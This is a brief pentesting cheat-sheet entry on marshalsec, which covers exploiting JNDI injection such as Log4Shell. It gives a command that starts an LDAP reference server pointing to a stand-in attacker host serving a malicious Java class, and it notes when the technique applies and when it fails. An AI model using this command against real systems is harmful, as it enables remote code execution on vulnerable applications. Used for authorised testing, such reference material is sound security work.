marshalsec (JNDI/LDAP)

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<attacker>/#Exploit"

LDAP/RMI server to exploit JNDI vulnerabilities (e.g., Log4j) with references to malicious code.

When you find a JNDI injection vulnerability, such as Log4Shell (CVE-2021-44228) or in Java applications that use JNDI with controllable parameters. Marshalsec spins up an LDAP server that returns a reference to a remote object (Java class) that can execute code. It's the standard way to exploit JNDI.

If the target has JNDI patched or uses deserialization filters. Also if you don't have an HTTP server to host the exploit class.